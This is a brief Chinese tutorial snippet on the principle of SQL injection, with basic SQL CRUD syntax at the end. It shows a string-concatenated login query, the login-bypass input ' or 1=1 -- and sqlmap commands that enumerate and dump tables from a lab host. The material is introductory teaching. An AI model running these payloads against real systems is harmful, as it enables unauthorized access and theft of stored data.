时间:2021-07-01 10:21:17 帮助过:5人阅读
登录SQL语句:
select * from admin where username = ‘用户输入的用户名‘ and password =用户输入的密码‘
用户输入的内容可由用户自行控制,例如可以输入‘or 1=1 --空格
SQL语句:
select * from admin where username=‘ or 1=1 -- ‘ and password = ‘用户输入的密码‘
使用sqlmap探测注入点
sqlmap -u "192.168.1.104: 8081/ cms/articles.php?id=1" - dbs
?
sqlmap -u "192. 168.1.104 : 8081/ cms/articles. php?id=1" -D 数据库 -T 表名 -C 字段1, 字段2 --dump
增
?
INSERT INTO 表(字段1,字段2) VALUES (值1,值2);
?
删
?
DELETE FROM 表 where 条件;
?
改
?
UPDATE 表 SET 列1=值1,列2=值2 WHERE 条件
?
查
?
select 字段1,字段2 from 表 where 条件
sql注入原理
标签:dmi 基础 focus update ade str mod sql语句 into